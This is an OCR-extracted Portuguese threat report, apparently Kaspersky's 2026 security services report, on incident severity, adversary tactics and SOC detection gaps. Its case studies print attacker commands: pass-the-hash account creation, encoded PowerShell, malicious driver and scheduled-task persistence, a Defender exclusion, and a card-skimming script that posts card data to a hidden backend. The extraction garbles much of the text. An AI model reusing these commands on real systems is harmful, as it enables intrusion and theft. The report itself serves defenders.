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Quem sdo os seus ofensores em

potencial?

Que métodos eles

estao usando hoje?

Como suas atividades

podem ser detectadas
de forma eficaz?
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https://www.kaspersky.com.br/enterprise-security/managed-detection-and-response
https://www.kaspersky.com.br/enterprise-security/security-operations-center-soc
https://www.kaspersky.com.br/enterprise-security/incident-response
https://github.com/fortra/impacket
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Gravidade do incidente
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Introdugéo Gravidade do incidente Deteccéo de ataque

Alta Baixa

Durante o ano de 2025, o MDR detectou em média trés incidentes de gravidade alta diariamente.

® 202 | —
2025 [ —
2022 |1} e
8 202 —
2020 |} e

"inundacao”, em que
as organizagdes agora lidam com um volume maior de ameagas oportunistas e de gravidade baixa, bem como
ameagcgas avangadas
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Introdugéo Gravidade do incidente Deteccéo de ataque
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https://attack.mitre.org/techniques/T1199/




Gravidade

Gravidade do incidente

Tempo pararelatar

A natureza dos incidentes
de alta gravidade

Comentarios

Alta

2024:
2023:
2022:

2021

2020

53.9 min
36.4 min
43.7 min
414 min
52.6 min

2024:
2023:
2022:

2021

2020

41.0 min
32.5min
309 min
34.8 min
211 min

Baixa

2024:

2023:
2022:

2021

2020

379 min
48.0 min
341 min
40.2 min
30.2 min
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https://content.kaspersky-labs.com/fm/site-editor/9d/9d31b116d9c61340d333fa073facf869/source/mdr-report.pdf
https://content.kaspersky-labs.com/fm/site-editor/68/680c25624a59707e4f047ae135f78229/source/kaspersky-mdr-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/52f9ce493bb257698e60f823b2b3e16d/source/kaspersky-mdr-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/b0/b08f9262f427a2b9e6c00d7c608842f3/source/mdr-analyst-report-2021.pdf
https://content.kaspersky-labs.com/fm/site-editor/32/326d836298373d796c965e4bfb9ced85/source/mdr-analyst-report-q4-2020.pdf

A natureza dos incidentes

Gravidade do incidente de alta gravidade

Rapido Médio Duradouro

Principalmente comportamento
criminoso visivel, rondando alvos faceis:
problemas de seguranga publicamente
disponiveis e facilmente identificaveis

Porcentagem dos ataques

Vetores iniciais

Duragcado média dos ataques

Duracao de resposta a incidentes

Dano

The nature
of cuber
incidents
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https://content.kaspersky-labs.com/se/media/br/enterprise-security/kaspersky-incident-response-analyst-report-pt-br.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/526c20352425d20e8cce4b0dd07f305f/source/kaspersky-ir-analyst-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/43/43fdc6bda5b4aa26747a89146ca6948f/source/the-nature-of-cyberincidents-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/72/72d83757a59aaa0d607b51dee785e55d/source/incident-response-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/93/93dd43a60d467c64822573d47b52b7ec/source/kaspersky-incident-response-analyst-2020.pdf




Deteccéo de ataque

Téticas adversérias

A natureza dos incidentes
de alta gravidade
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Deteccéo de ataque Taticas adversarias

0% 5% 10% 15% 20% 25% 0% 5% 10% 15% 20% 25%

No entanto, violagdes graves de politicas de
seguranga (mais de 13%) indicam que configuragdes incorretas e agdes ndo autorizadas continuam a gerar riscos
significativos
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Deteccéo de ataque Taticas adversarias

sugerindo que os invasores veem os funcionarios desse setor
como vetores de acesso inicial para o desenvolvimento de ataques futuros
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Deteccéo de ataque Taticas adversarias
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Deteccéo de ataque

CVE-2022-27228

maioria das CVEs tem PoCs faceis disponiveis em
plataformas publicas e ndo exigem condigdes complexas para serem
executadas

50% das vulnerabilidades identificadas em nossos casos de
Resposta a incidentes levam a Execugao remota de cédigo
(RCE), sem autenticagcao em alguns casos, o que aumenta
significativamente o risco geral

Padrdes comuns de fraqueza incluem desserializagao insegura
(CWE-502), autenticacao/autorizagao inadequada (CWE-287/288),
travessia de diretérios (CWE-22), upload irrestrito de arquivos
(CWE-434) e falsificagao de solicitagdo do lado do servidor
(CWE-918), todas podendo levar diretamente a tomada de controle
do sistema
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Detecgéo de ataque A na‘étJer:ﬁaa‘g?as\}ir:jc;gzntes Téticas adversérias
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A natureza dos incidentes Técnicas e ferramentas

de alta gravidade adversarias
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https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0521/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/techniques/T1041/
https://attack.mitre.org/software/S0154/
https://lolbas-project.github.io/

A natureza dos incidentes Técnicas e ferramentas
de alta gravidade adversarias

Este ano, também observamos o desenvolvimento de ataques que exploram relacionamentos
de confianga. Em um caso, descobrimos que adversarios haviam comprometido mais de duas
organizagdes em sequéncia para, em Ultima instancia, obter acesso a um terceiro alvo.
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A natureza dos incidentes Técnicas e ferramentas
de alta gravidade adversarias
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A natureza dos incidentes Técnicas e ferramentas
de alta gravidade adversarias

IDS de rede complementa a EPP mesmo em cendrios onde o sensor de endpoint parece ser
o método de detecgdo mais dbvio
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- - Técnicas e ferramentas fai ~
Taticas adversarias Eficacia de detec¢do de SOC
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

“C:\Windows\System32\WScript.exe" "wscript.exe"
"C:\Users\ \AppData\Local\Temp\1l 9.vbs" "C:\Users\ \AppData\Local\Temp\5 5.vbs"

(PID: 628) C:\Windows\system32\services.exe
L—— (PID: 6296) C:\Windows\system32\ServerManagerlLauncher.exe
L—— (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"



https://securelist.com/kaspersky-managed-detection-and-response-report-2024/115635/
https://attack.mitre.org/techniques/T1059/005/
https://securelist.com/kaspersky-mdr-report-2023/112411/
https://attack.mitre.org/techniques/T1218/014/

C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]
-> "C:\Windows\system32\cmd.exe" whoami
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" ping -n 1 8.8.8.8
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe 103.
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" c:\\windows\\temp\\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" tokei -H aa 1404ee:
448535c97b3fc9
-> "C:\Windows\system32\cmd.exe" sc.exe create MpKslad05flba type=kernel binpath=c:\windows)\
System32\drivers\MpKslDzv.sys
-> "C:\Windows\system32\cmd.exe" sc.exe start MpKslad05flba
-> "C:\Windows\system32\cmd.exe" cd
-> "C:\Windows\system32\cmd.exe" netstat -ao
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" sc.exe stop MpKslad05flba
-> "C:\Windows\system32\cmd.exe" sc.exe delete MpKslad0@5flba
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\drivers\MpKslDrv.sys
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\aprds.dll
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\rsd.dat
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" ping -c 1 .net

1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/£

Task path: C:\Windows\System32\Tasks\EdgeUpdateWinz,

Schedule task name: EdgeUpdateWinr

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92
C7A4A}:Actions

Command: "cmd" /c c:\programdata\ \sshd.exe

2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\ _lak.ovpn\"" /sc onstart /ru SYSTEM /f

Task path: C:\Windows\System32\Tasks\WindowsAutoTask

Schedule task name: WindowsAutoTask

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F8
1A9}:Actions

Command: schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"

-config \"C:\ProgramData\ ak.ovpn\"" /sc onstart /ru SYSTEM /f



https://attack.mitre.org/techniques/T1569/002/
https://attack.mitre.org/techniques/T1543/003/
https://attack.mitre.org/techniques/T1053/005/

- - Técnicas e ferramentas fai ~
Taticas adversarias Eficacia de detec¢do de SOC
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Import-Module ./Invoke-TheHash.psdl

Invoke-WMIExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
user Userl Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
user User2 Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
localgroup Administrators Userl /ad" -verbose

Servidores de e-mail Serverl

Endpointl

Endpoint2



c:\users\mpdefender.exe

cmd.exe /c "cd /d C:\users\public &amp;&amp; start
sideloaded the malicious Wiper DLL file - MpClient.dll (MD5 2DFEFQC375933B725C047A7E25B27CEE)

"C:\users\public\Mpdefender.exe




<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

<Date>2025-06-19T08:36:48</Date>

<Author>REDACTED</Author>

<URI>\DefenderUpdatefor</URI>

</RegistrationInfo>

<Principals>

<Principal id="Author">

<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>

</Principal>

</Principals>

<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>

<Duration>PT10M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>

</IdleSettings>

</Settings>

<Triggers>

<TimeTrigger>
<StartBoundary>2025-06-19T12:30:00</StartBoundary>
</TimeTrigger>

</Triggers>

<Actions Context="Author">

<Exec>

<Command>cmd</Command>

<Arguments>/c "cd /d C:\users\public && start "" "C:\users\public\Mpdefender.exe""</Arguments>
</Exec>

</Actions>

</Task>

N N
c:\inetpub\calibze. c:\inetpub\history\ c:\program files c:\inetpub\history\
exe ca.exe (x86)\windows calibre-launcher.dll
defender\calibre.exe

powershell -nop -exec bypass -EncodedCommand
QQBKkAGQALQBNAHAAUABYAGUAZgBTAHIAZQBUAGMAZQAZACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgACTIAQWAGACIA
Add-MpPreference -ExclusionPath "C:'

.\Impersonate.exe

\Impersonate.exe list

\Impersonate.exe exec 30 ipconfig

\Impersonate.exe exec 30 "net user /domain>1.txt"

\Impersonate.exe exec 30 cmd

\Impersonate.exe exec 30 cmd /k whoami

\Impersonate.exe exec 30 cmd




- - Técnicas e ferramentas fai B
Taticas adversarias Eficacia de detec¢do de SOC

ID:

Tactica: timestomping

ID:

Protocolo de camada de

aplicativos: o padréo http://+:<porta>/ http://+:80/Temporary_

Listen_Addresses/

identificador de host curinga forte
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http://+:80/Temporary_Listen_Addresses/
https://+:443/autodiscover/autodiscovers/
https://+:443/ews/exchanges/

https://+:444/ews/ews/

HttpListener listener = new HttplListener();

listener.Prefixes.Add("https://+:443/autodiscover/autodiscovers/");

listener.Start();




- - Técnicas e ferramentas fai ~
Taticas adversarias Eficacia de detec¢do de SOC

ID:
Contas validas:

ID:
Servigos remotos:

ID:
Intérprete de comando
e scripting:

Linha do tempo da execucgéo:

R A

=
172.%.* N

=

L] -
192.%.* 172.%.+ N
SSH SSH

A
ESXi_1 ESXi_2 N
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const _x = {
'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<edited>..—-END PUBLIC KEY--",
'BACKEND_URL': atob("...<edited>..”)

const _y = async _y => {
try {
const _z = await fetch(_xxx.BACKEND_URL, {
‘method': "POST",
'headers': {
‘Content-Type': "application/json"

Jia

'body': JSON.stringify({
‘encrypted_data': _a

B

1

_b.addEventListener("mouseenter”, async () => {
try {
const _d = {

tbard_number': document.getElementById("card_number")?.['value'] ||
'expiry_date': document.getElementById("expire_date")?.["value"] ||
'cvv': document.getElementById("card_cvv")?.["value"] || ",

-

const _zz = new JSEncrypt();
_zz.setPublicKey(..)




A

https://*:443/DELAY_SRV/
http://*:80/DELAYS_SRV/



- - Técnicas e ferramentas fai B
Taticas adversarias Eficécia de detecgéo de SOC

user_token_api
blob de configuracéo codificado em Base64

SSH_client.

ID: exe memoria do processo WerFault.exe

Tatica:

acesso SSH interativo e capacidades de transferéncia de
arquivos

SpawnShell:
Upload:
Download:
Ls:
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Taticas adversarias Eficacia de detec¢do de SOC

execugao em memoria,
abuso de protocolo legitimo e disfarce
de processo

arquitetura de ataque
em camadas e modular
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- - Técnicas e ferramentas fai ~
Taticas adversarias Eficacia de detec¢do de SOC

. . enriquecimento
necessarios

Reputagédo do arquivo/script/documento

do Office Geral: 3,8%
Reputagdo da URL
Geral: 3,7%
Reputacédo do host ou IP remotos
Geral: 4,5%
Geral:1,3%
Lista de detecgdes relacionadas a APT
Geral:1,4%
Geral: 3,0%
Geral: 1,1%
Veredito da EPP para o objeto
Geral: 7,2%
Geral: 5,0%
Geral: 3,2%
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https://www.kaspersky.com/file-reputation
https://github.com/fortra/impacket

- - Técnicas e ferramentas £ =
Taticas adversarias Eficacia de detec¢do de SOC

TAOOO1: TAO0O02: TAOOO03: TAO0O04: TAOOOS: TAOOO06: TAOOO7:
Acesso Inicial Execugéo Persisténcia Escalagao Evasdo de Acesso de Descoberta
de Privilégios Defesa Credencial
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- - Técnicas e ferramentas fai ~
Taticas adversarias Eficacia de detec¢do de SOC

TAOO0O0S8: TAO009: TAOO10: TAOO11: TAO040: TAO042: TAO043:
Movimentagao Coleta Exfiltragdo Comando Impacto Desenvolvimento Reconhecimento
Lateral e Controle de Recursos
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Técnicas e ferramentas Lacunas de detecg¢éo
adversdrias e comprometimento oculto
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Técnicas e ferramentas Lacunas de detecgéo
adversérias e comprometimento oculto

[5-30]

5—70+ [30-50]
[50-70+]

o

l__—l
= -
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https://securelist.com.br/

Técnicas e ferramentas Lacunas de detecgéo

adversérias e comprometimento oculto
Autodesenvolvimento Seguidores de Seguidores do EDR
fornecedor
Popularidade
Descrigao

Numero de regras ativas
de SIEM/XDR

Proporcao de regras
personalizadas em
SIEM/XDR

Medicao de cobertura do
MITRE
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Técnicas e ferramentas o . Lacunas de detecgéo
adversdrias B e comprometimento oculto

| |
Cobertura ausente ou degradada da infraestrutura
| |
|_ Cobertura das regras de detecg¢ao por fontes de eventos
|

D Regras padrao sem ajuste,
X simplesmente utilizando o pacote
do fornecedor

"Anatomia de um mundo cibernético", Relatdrio global do Kaspersky Security Services 2026 ® 51 / 57






Eficacia de detecgédo de SOC

Operagbes (Terceirizagéo) Sim

Sem sinais de comprometimento

Projeto

Ha sinais de comprometimento
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https://www.kaspersky.com.br/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com.br/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport
https://www.kaspersky.com.br/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com.br/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport

Eficacia de detecgdo de SOC
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Em 2025, quase 18,6% dos

incidentes foram detectados manualmente.
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

. - Lacunas de detecgdo
Eficacia de deteccéo de SOC e comprometimento oculto
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Para combater ataques executados por humanos, solugdes lideradas por humanos, como o MDR
e a Resposta a incidentes, continuam sendo fundamentais.

Servicos de consultoria de SOC abrangentes podem
apoiar este objetivo.

Nesses cenarios, combinar um SOC interno com XDR implementada e/ou servigos terceirizados, como
o MDR, com Avaliacdes de comprometimento frequentes é uma estratégia eficiente para detectar
e investigar incidentes que burlam os controles de seguranga existentes.

aimportancia da Conscientizacdo de
seguranga como pilar central do planejamento de seguranga
dainformagao corporativa.
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https://attack.mitre.org/techniques/T1098/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/
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https://www.kaspersky.com.br/enterprise-security/incident-response
https://www.kaspersky.com.br/enterprise-security/managed-detection-and-response
https://github.com/fortra/impacket
https://www.kaspersky.com.br/enterprise-security/security-operations-center-soc
https://www.kaspersky.com.br/enterprise-security/security-assessment
https://dfi.kaspersky.com/br



https://www.kaspersky.com.br

